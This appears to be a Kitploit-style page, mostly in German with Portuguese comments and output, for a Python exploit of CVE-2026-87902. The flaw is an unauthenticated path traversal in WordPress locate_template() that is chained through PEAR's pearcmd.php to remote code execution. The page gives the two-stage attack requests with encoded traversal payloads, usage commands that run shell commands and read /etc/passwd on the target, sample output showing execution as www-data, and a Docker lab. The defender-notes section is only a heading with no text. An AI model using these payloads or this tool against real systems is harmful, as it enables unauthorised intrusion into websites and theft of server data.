CVE-2026-87902 — Python-PoC, das CVE-2026-87902 ausnutzt, einen unauthentifizierten Path Traversal in WordPress locate_template(), der zu LFI und PEAR-basierter RCE führt, mit sicherem Erkennungsmodus. | Kitploit


CVE	CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High)
Advisory	GHSA-7hp8-65ch-5whp
Betroffen	WordPress 4.7.0 – 7.1.1 (alle Branches)
Fix	7.1.2, 7.0.6, 6.9.9 … 4.7.37
Fix-Commit	`5fde0bb7b9775523959094bf280cc54bfa78af51` (Merge des Changesets 63792)
Dateien	`wp-includes/template.php` (`get_page_template()`, `locate_template()`, `_wp_is_template_path_allowed()`)
Authentifizierung	Keine — kein Benutzer, Cookie, Nonce oder Plugin
Credits	Entdeckung und Disclosure: Robert Ressl

// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamento
    $located = $candidate;                            // dentro de tema/parent/theme-compat
    break;
}

#	Voraussetzung	Grund
1	Veröffentlichte Seite, anonym zugänglich, über `page_id` auswählbar und ohne custom template	Die Anfrage muss zu einer Page aufgelöst werden; ein custom template käme früher in der Hierarchie
2	Top-Level-Verzeichnis im aktiven Theme (Child oder Parent), das mit `page-` beginnt (z. B. `page-templates/`)	WP stellt das feste Präfix `page-` voran; darüber gelangt der Traversal hinein. Es genügt, dass es existiert und traversierbar ist (kann leer sein). Vorhanden in Twenty Twelve/Fourteen, Neve, Hestia, Sydney
3	Lokales `.php`-Ziel existiert und ist lesbar	Der Loader hängt `.php` an und prüft `is_file()`/`is_readable()`
4	(nur für RCE) `pearcmd.php` lesbar + `register_argc_argv=On` + beschreibbares Verzeichnis (z. B. `/tmp`)	PEAR→RCE-Route: `config-create` schreibt die PHP-Payload auf den Server

Anfrage	`pagename`	Erwartete Antwort (verwundbar)
A — Baseline	—	200, normaler Body (~23 KB)
B — Kontrolle	Traversal → nicht existierende Datei	200, normaler Body (Fallback `page.php`)
C — Probe	Traversal → `wp-content/index.php` ("Silence is golden")	200 mit leerem Body

Stufe 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → der Traversal inkludiert /usr/local/lib/php/pearcmd.php
           → argv kommt aus dem rohen Query-String (register_argc_argv=On)
           → config-create SCHREIBT die Payload nach /tmp/wp-pear-rce.php (12 serialisierte Kopien)

Stufe 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → derselbe Traversal inkludiert die erzeugte Datei → system(<--command>) läuft als www-data

# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

Parameter	Default	Beschreibung
`--url`, `-u`	(obligatorisch)	Basis-URL von WordPress
`--command`, `-c`	`id`	Auf dem Ziel ausgeführter Shell-Befehl (ignoriert mit `--validate-only`)
`--validate-only`	off	Validiert nur die Schwachstelle (LFI, stoppt vor RCE/Schreiben)
`--page-id`	auto (REST, Fallback-Probe)	ID einer veröffentlichten Seite ohne custom template
`--theme-dir`	versucht `page-templates`, `page-template`	Top-Level-Verzeichnis des Themes, das mit `page-` beginnt
`--probe-target`	`index`	Ziel der Erkennungs-Probe, ohne `.php` (`index` → `wp-content/index.php`)
`--depth`	0 (durchsucht 1–12)	Anzahl der `../`-Segmente
`--pear-path`	versucht interne Liste	`pearcmd.php` der RCE-Stufe, ohne `.php` (Docker, Debian, XAMPP)
`--output`	`/tmp/wp-pear-rce`	Beschreibbares Ziel der PEAR-Payload, ohne `.php`
`--timeout`	`20`	Timeout pro Anfrage (s)
`--insecure`	off	TLS-Zertifikat nicht prüfen
`--verbose`	off	Ausführliche Ausgabe pro Versuch

[*] alvo          : http://127.0.0.1:8080
[*] comando       : 'id'
[*] versão WP     : 7.1.1  (<= 7.1.1 => potencialmente afetada)
[*] page id       : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo          : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir     : page-templates
[+] depth          : 3
[+] traversal      : page-templates/../../../index.php
[+] VULNERÁVEL     : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo          : RCE (2 estágios via pearcmd.php)
[+] theme dir     : page-templates
[+] depth          : 7
[+] pearcmd        : /usr/local/lib/php/pearcmd.php
[+] payload file   : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando        : 'id'
[+] saída          :
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web

services:
  db:
    image: mariadb:11
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp_user
      MYSQL_PASSWORD: wp_pass
      MYSQL_ROOT_PASSWORD: root_pass
    volumes:
      - db_data:/var/lib/mysql

  wordpress:
    image: wordpress:7.1.1-php8.3-apache   # PINADA — a rolling baixa 7.1.2+ (patcheada!)
    depends_on:
      - db
    restart: always
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wp_user
      WORDPRESS_DB_PASSWORD: wp_pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_data:/var/www/html
      # fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
      - ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates

volumes:
  db_data:
  wp_data:

docker compose up -d

# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
  -e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
  -e WORDPRESS_DB_NAME=wordpress `
  wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
  --admin_user=admin --admin_password=adminadmin [email protected] --skip-email

# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"

# Teardown
docker compose down -v

CVE-2026-87902

Beliebteste

1. Die Schwachstelle

Exploit-Kette (Repository-Code)

Voraussetzungen

2. Was das Skript tut

Stufe 1 — sichere Erkennung (läuft immer zuerst)

Stufe 2 — RCE über `pearcmd.php` (Schreiben)

3. Verwendung

Parameter

Erwartete Ausgabe im Lab

4. Lab (Docker)

5. Einschränkungen und Hinweis für Verteidiger

6. Referenzen

Rechtlicher Hinweis